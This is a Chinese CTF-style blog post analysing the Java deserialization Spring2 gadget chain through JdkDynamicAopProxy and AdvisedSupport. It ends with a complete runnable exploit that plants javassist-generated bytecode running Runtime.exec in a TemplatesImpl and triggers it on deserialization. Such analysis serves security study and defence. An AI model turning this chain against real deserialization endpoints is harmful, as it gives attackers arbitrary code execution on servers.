【Web】浅聊Java反序列化之Spring2链——两层动态代理

news/2024/5/19 23:20:29 标签: java, java反序列化, spring2链, spring, ctf, web, 反序列化

目录

简介

简话JdkDynamicAopProxy

关于target的出身——AdvisedSupport

EXP


请确保已阅读过前文或对Spring1链至少有一定认知:【Web】浅聊Java反序列化之Spring1链——三层动态代理-CSDN博客

简介

Spring2 和 Spring1 的反序列化过程基本相同,唯一不同的在于把spring-beans的ObjectFactoryDelegatingInvocationHandler换成了spring-aop的JdkDynamicAopProxy

org.springframework.aop.framework.JdkDynamicAopProxy 类是 Spring AOP 框架基于 JDK 动态代理的实现,同时其还实现了 AopProxy 接口。

个人觉得Spring2较Spring1更快刀斩乱麻,思路更清晰,构造更干净(毕竟只用了两层代理

简话JdkDynamicAopProxy

①JdkDynamicAopProxy实现了AopProxy, InvocationHandler, Serializable三个接口

所以我们要清楚地认知,其本质也是handler,用作构造动态代理类

final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable

②其构造方法接收一个AdvisedSupport类型的参数config,并赋值给advised

public JdkDynamicAopProxy(AdvisedSupport config) throws AopConfigException {
        Assert.notNull(config, "AdvisedSupport must not be null");
        if (config.getAdvisors().length == 0 && config.getTargetSource() == AdvisedSupport.EMPTY_TARGET_SOURCE) {
            throw new AopConfigException("No advisors and no TargetSource specified");
        } else {
            this.advised = config;
        }
    }

这段代码的作用是根据传入的 AdvisedSupport 对象进行初始化,确保必要的属性不为空。如果属性不满足要求,则抛出异常。否则,将 config 赋值给类的成员变量 advised,完成初始化操作。

③JdkDynamicAopProxy#invoke

 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Object oldProxy = null;
        boolean setProxyContext = false;
        TargetSource targetSource = this.advised.targetSource;
        Class<?> targetClass = null;
        Object target = null;

        Integer var10;
        try {
            if (!this.equalsDefined && AopUtils.isEqualsMethod(method)) {
                Boolean var18 = this.equals(args[0]);
                return var18;
            }

            if (this.hashCodeDefined || !AopUtils.isHashCodeMethod(method)) {
                Object retVal;
                if (!this.advised.opaque && method.getDeclaringClass().isInterface() && method.getDeclaringClass().isAssignableFrom(Advised.class)) {
                    retVal = AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
                    return retVal;
                }

                if (this.advised.exposeProxy) {
                    oldProxy = AopContext.setCurrentProxy(proxy);
                    setProxyContext = true;
                }

                target = targetSource.getTarget();
                if (target != null) {
                    targetClass = target.getClass();
                }

                List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
                if (chain.isEmpty()) {
                    retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);
                } else {
                    MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
                    retVal = invocation.proceed();
                }

                Class<?> returnType = method.getReturnType();
                if (retVal != null && retVal == target && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {
                    retVal = proxy;
                } else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) {
                    throw new AopInvocationException("Null return value from advice does not match primitive return type for: " + method);
                }

                Object var13 = retVal;
                return var13;
            }

            var10 = this.hashCode();
        } finally {
            if (target != null && !targetSource.isStatic()) {
                targetSource.releaseTarget(target);
            }

            if (setProxyContext) {
                AopContext.setCurrentProxy(oldProxy);
            }

        }

        return var10;
    }

先是获取advised 里的 TargetSource存进targetSource里,并调用 getTarget() 方法返回其中的对象存进target里。(我知道你想问什么,后面会讲的)

接着再调用AopUtils.invokeJoinpointUsingReflection(target, method, args)

 public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args) throws Throwable {
        try {
            ReflectionUtils.makeAccessible(method);
            return method.invoke(target, args);
        }

这段代码的作用是通过反射机制调用目标对象的指定方法,并传入相应的参数,实现了对目标对象方法的动态调用

总结一下就是:JdkDynamicAopProxy将方法调用委托给了AdvisedSupport的target成员。

而方法名是我们可控的(从MethodInvokeTypeProvider传入),那我们只要让target成员为恶意TemplatesImpl,并把方法名设置为newTransformer就可调用TemplatesImpl#newTransformer,这样就免去了三层代理的繁琐。

关于target的出身——AdvisedSupport

现在的问题来到了,如何让target成员为恶意TemplatesImpl?

我们知道target来源自this.advised.targetSource.getTarget(),而advised是一个 AdvisedSupport类

看下AdvisedSupport类的构造方法

public AdvisedSupport() {
        this.targetSource = EMPTY_TARGET_SOURCE;
        this.preFiltered = false;
        this.advisorChainFactory = new DefaultAdvisorChainFactory();
        this.interfaces = new ArrayList();
        this.advisors = new LinkedList();
        this.advisorArray = new Advisor[0];
        this.initMethodCache();
    }

 this.advised.targetSource是个TargetSource接口的实现,但没有对getTarget进行重写

public interface TargetSource extends TargetClassAware {
    Class<?> getTargetClass();

    boolean isStatic();

    Object getTarget() throws Exception;

    void releaseTarget(Object var1) throws Exception;
}

如果猜测getTarget是个getter方法,从对称的角度,我们不难想到可以用setTarget来放入恶意TemplatesImpl,但出于严谨还是得跟一下具体调用

public void setTarget(Object target) {
        this.setTargetSource(new SingletonTargetSource(target));
    }

跟进setTargetSource

public void setTargetSource(TargetSource targetSource) {
        this.targetSource = targetSource != null ? targetSource : EMPTY_TARGET_SOURCE;
    }

经典三目运算,如果传入的 targetSource 不为 null,则设置为传入的 targetSource;如果传入的 targetSourcenull,则设置为默认的 EMPTY_TARGET_SOURCE  

targetSource从哪来?从new SingletonTargetSource(target)来。

 再回头,跟一下SingletonTargetSource,发现就是给this.target赋值为target

public SingletonTargetSource(Object target) {
        Assert.notNull(target, "Target object must not be null");
        this.target = target;
    }

然后new一个SingletonTargetSource对象传入setTargetSource,从而让this.advised.targetSource赋值为我们刚new完的SingletonTargetSource对象,而该对象的target属性就是由我们传入的。

所以this.advised.targetSource.getTarget()得到的就是我们构造时用setTarget传入的target。

EXP

pom依赖

<dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.29.2-GA</version>
        </dependency>

        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-aop</artifactId>
            <version>4.1.4.RELEASE</version>
        </dependency>
    </dependencies>

召唤计算器的神奇的咒语

package com.spring;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;


public class Spring2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
        setValue(templates, "_name", "1");

        AdvisedSupport as = new AdvisedSupport();
        as.setTarget(templates);

        Class<?> clazz0 = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> con0 = clazz0.getDeclaredConstructors()[0];
        con0.setAccessible(true);
        InvocationHandler aopInvocationHandler = (InvocationHandler) con0.newInstance(as);
        Object aopProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, aopInvocationHandler);

        HashMap<String, Object> map2 = new HashMap<String, Object>();
        map2.put("getType", aopProxy);
        Class<?> clazz2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> con2 = clazz2.getDeclaredConstructors()[0];
        con2.setAccessible(true);
        InvocationHandler invocationHandler2 = (InvocationHandler) con2.newInstance(Override.class, map2);
        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")}, invocationHandler2);

        Class<?> clazz3 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
        Constructor<?> con3 = clazz3.getDeclaredConstructors()[0];
        con3.setAccessible(true);
        Object o = con3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
        setValue(o, "methodName", "newTransformer");

        ser(o);
    }

    public static void ser(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        ois.readObject();
    }

    public static byte[] genPayload(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

http://www.niftyadmin.cn/n/5413321.html

相关文章

力扣513 找树左下角的值 Java版本

文章目录 题目描述解题思路代码 题目描述 给定一个二叉树的 根节点 root&#xff0c;请找出该二叉树的 最底层 最左边 节点的值。 假设二叉树中至少有一个节点。 示例 1: 输入: root [2,1,3] 输出: 1 示例 2: 输入: [1,2,3,4,null,5,6,null,null,7] 输出: 7 提示: 二…

PokéLLMon 源码解析(六)

.\PokeLLMon\poke_env\teambuilder\teambuilder_pokemon.py """This module defines the TeambuilderPokemon class, which is used as an intermediate format to specify pokemon builds in teambuilders custom classes. """ # 导入必要的模…

Grafana dashboards as ConfigMaps

文章目录 1. 简介2. 创建 configmaps3. grafana 界面查看 1. 简介 将 Grafana 仪表板存储为 Kubernetes ConfigMap 相比传统的通过 Grafana 界面导入仪表板有以下一些主要优点: 版本控制&#xff1a; ConfigMap 可以存储在版本控制系统(如Git)中,便于跟踪和管理仪表板的变更历…

Spark连接MySQL表数据

Spark连接MySQL表数据 一、官网语法 http://spark.apache.org/docs/latest/sql-data-sources-jdbc.htmlval jdbcDF spark.read.format("jdbc").option("url", "jdbc:postgresql:dbserver").option("dbtable", "schema.tablena…

Elasticsearch:dense vector 数据类型及标量量化

密集向量&#xff08;dense_vector&#xff09;字段类型存储数值的密集向量。 密集向量场主要用于 k 最近邻 (kNN) 搜索。 dense_vector 类型不支持聚合或排序。 默认情况下&#xff0c;你可以基于 element_type 添加一个 dend_vector 字段作为 float 数值数组&#xff1a; …

C# 用 System.Xml 读 Freeplane.mm文件,生成测试用例.csv文件

Freeplane 是一款基于 Java 的开源软件&#xff0c;继承 Freemind 的思维导图工具软件&#xff0c;它扩展了知识管理功能&#xff0c;在 Freemind 上增加了一些额外的功能&#xff0c;比如数学公式、节点属性面板等。 编写 read_Xml.cs 如下 using System; using System.IO…

微信小程序(五十三)修改用户头像与昵称

注释很详细&#xff0c;直接上代码 上一篇 新增内容&#xff1a; 1.外界面个人资料基本模块 2.资料修改界面同步问题实现&#xff08;细节挺多&#xff0c;考虑了后期转服务器端的方便之处&#xff09; 源码&#xff1a; app.json {"window": {},"usingCompone…

[Mac软件]Adobe Photoshop 2024 v25.5.1 中文激活版

Adobe Photoshop是全球领先的图像处理和编辑软件&#xff0c;自1990年首次发布以来&#xff0c;一直是设计师、摄影师和创意专业人士的首选工具。随着技术的进步和用户需求的变化&#xff0c;Adobe不断更新和改进Photoshop&#xff0c;以提供更强大的功能和更好的用户体验。在这…